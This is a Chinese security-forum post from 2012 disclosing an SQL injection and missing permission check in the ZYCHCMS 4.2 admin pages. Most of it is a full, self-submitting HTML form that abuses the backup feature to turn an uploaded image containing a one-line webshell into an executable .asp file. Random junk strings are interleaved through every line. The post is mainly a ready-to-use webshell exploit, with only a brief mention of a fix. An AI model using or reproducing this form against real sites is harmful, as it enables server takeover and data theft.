找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1630|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
2 ]: L- V6 K( T. i5 B
6 U2 I" C& t* D3 N/ h
! h* h* V+ w6 `6 M+ }
( B3 [0 B+ L, m: {9 j5 T
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
7 z. {  V/ s; s& `6 e ①SQL注射漏洞
# Y2 T2 y5 d' | 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
! c2 J+ B: }9 k 漏洞原因:未过滤
" t' O: K) m+ A 漏洞代码:7 f3 v: j1 U, U: q1 K! D$ C3 f2 M  M
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。% l! C0 K/ M( L
修复方法:在文件开头加入代码1 O. Z7 p7 t0 ]6 D

* M( }6 F0 Y* t
0 _9 r' t. x* D: B' f1 W1 O8 _0 D②后台拿WBSHELL
" b& J0 {6 z$ Q' u% t6 O 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
9 ^, W2 Y6 Y9 l+ q5 n, n 这里在网上找了一个,改了下,将就着用。8 Q! Q5 I4 g" A7 W/ p, m0 P: y
以下是代码本地提交代码7 E: f8 }9 e' U5 p; W

% y+ w* W, b7 p6 u3 p7 Z/ n7 g* b( O- P  X/ N1 ~2 s2 M
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>) f: ^# y/ P7 v8 |
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
) V6 \0 {% j9 R0 v0 g: q! Y% D6 T* F2 @ <tr>
% U" b9 \0 @- A; [ <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
. @, W3 `7 d# k: R+ y3 S </tr>
1 j) ^# a8 j5 Y. f& c0 y <tr>; C% a0 x+ T" F. a6 F% {
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
2 O7 e7 O# s1 i- u; | </span>
7 J4 |, k- G$ o) j0 Y <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >; V2 y. F  P5 Q4 K0 {
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >  ^: e* v9 R: O* i. v* I
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
. T; _0 m4 u2 a) ~9 G4 `* q. @, ^ <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d7 N, k  S0 P( y. \) _1 h& s
<div align=”left”>, L" z0 e; r6 a' j6 _9 W
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />2 Y! c) ^+ T3 c9 u; K
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
: m+ W  S" |8 I# F5 G/ y <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />  V  {; @* N0 @3 i/ E4 i' Q
</div></td>
8 f* b: X8 e0 d0 M0 ]1 s' m! P </tr>+ K; `. Z! G! f1 t5 E: Q
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>/ f5 x6 _' W1 k- Y0 L. r6 h
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>- g# e+ Y; Q, \" Y, w$ s# B+ u
<td class=”td”><div align=”left”>
* m6 |- Q( O+ V% D( r <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
6 {0 M7 R) w( r: G" H [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>. @$ q9 x* }4 I3 l7 R1 Z' g$ c
</tr>
/ ~4 x: |! p1 u3 O4 W <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
9 d  O; P! N% v" Z <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>' [! g9 ?! b, y' u) h
<td class=”td”><div align=”left”>
" B$ {; O' {1 k/ I% | <input type=”submit” value=”确定备份” class=”btn”2 S/ _5 S) h9 U, f+ Q& M# N
</div></td>( r' c, A! ~) p4 k
</tr>( ]. f# U, K6 }! o; Z
</table></td></tr></form>
2 O4 j" _( J' y5 a  o4 A' _9 k </table>
4 z' y% |- h9 \$ H </td>
2 a" a/ J3 E3 x </tr>7 o* q& _$ C5 d
</table>
  r( n$ @0 n: Z. \ <script>
, f3 H- b$ [( H# L& ^6 V0 |- j# Z' ^: @ document.all.add.submit();
8 N& ~4 Q" S  V! \, a: j: Q) B7 } </script>
- {( T2 ^/ l4 y) F 4 _! M9 ~/ M: u: c5 s( n7 \
/ |) {. x) P7 T
3 n; z8 v- P- D  P, a) i& I+ d

! L. x/ l! P0 ~3 s  M
" F/ B# s( A# R6 C$ H4 |" a# I; m* u5 \. `- Z6 e! o% M
2 ?- I0 D3 L2 a+ S+ S! p

: \1 _, A1 [5 m( J0 ^: ~  v- c2 j; W1 b) v6 g& z6 I

3 R/ [1 S6 T" ~: j- c8 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表